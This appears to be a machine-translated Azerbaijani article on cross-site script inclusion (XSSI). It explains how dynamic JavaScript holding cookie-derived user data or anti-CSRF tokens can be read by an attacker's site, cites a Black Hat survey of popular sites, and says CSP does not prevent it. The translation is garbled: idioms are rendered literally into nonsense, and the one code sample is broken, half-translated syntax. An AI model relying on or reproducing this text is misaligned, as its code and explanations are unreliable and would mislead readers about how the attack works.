    İşin ideyası alüminium çaydan kimi sadədir.

    Əslində, digər saytlardan statik JS yükləmək imkanı qurban saytı üçün şəkil yükləməkdən daha çox problem yaratmır.

    JS dinamik şəkildə yaradıldıqda, yəni JS skriptinin məzmunu kukidən alınan məlumatlar əsasında dəyişdikdə, hansı istifadəçinin ona daxil olmasından asılı olaraq problemlər yarana bilər. Məsələn, JS bəzi "kritik" məlumatları saxlayır: şəxsi məlumat (e-poçt, qurbanın saytında istifadəçi adı) və ya texniki məlumat (anti-CSRF tokenləri).

    Ancaq bildiyimiz kimi, skripti teq vasitəsilə yükləyərkən istifadəçinin brauzeri avtomatik olaraq istifadəçiyə kuki göndərir. Bu faktları əlavə etməklə, təcavüzkarın veb saytına daxil olan və qurbanın saytına daxil olan istənilən istifadəçi haqqında məlumat əldə edə bilərik.

    Nə öyrənə bilərik? Qlobal dəyişənlər və qlobal funksiyaların nəticələri. Təəssüf ki, biz daxili dəyişənlərə/funksiyalara daxil ola bilməyəcəyik (baxmayaraq ki, kimsə bunu etmək üçün bir yol tapacaq).

    Funksiya testi())( "özəl data frm funksiyasını" qaytarın; )

    Bu hücum mümkün görünür, lakin çox sadə görünür və ümumi olmamalıdır. Black Hat-da təqdimatı maraqlı edən də budur. Tədqiqatçılar 150 məşhur veb-saytı təhlil etdilər və onların üçdə birinin müəyyən dərəcədə həssas olduğunu aşkar etdilər. Bu statistikalar bizi problemə bir az da yaxından baxmağa məcbur edir.

    Başqa bir nümunə də ortaya çıxdı. Məzmun Təhlükəsizliyi Siyasəti daha geniş yayılmışdır. Bildiyiniz kimi, bununla biz bu və ya digər resursun hansı domenlərdən yüklənə biləcəyini göstərə bilərik. Məsələn, JS-ni yalnız eyni resursdan yerinə yetirmək üçün deyə bilərsiniz. Bundan əlavə, CSP qurmaq üçün ən yaxşı təcrübələrə daxili JS-nin (yəni, birbaşa HTML-də yerləşən və JS faylından yüklənməmiş kod) icrasını qadağan etmək daxildir.

    Bununla belə, fayllara inline köçürmə qoltuqaltı və tələsik - yəni dinamik şəkildə yaradılan skriptlər vasitəsilə həyata keçirilə bilər. CSP-nin XSSI-yə heç bir təsiri olmadığı üçün biz yenidən hücumlarımızı həyata keçirə bilərik. Bu pis təcrübədir.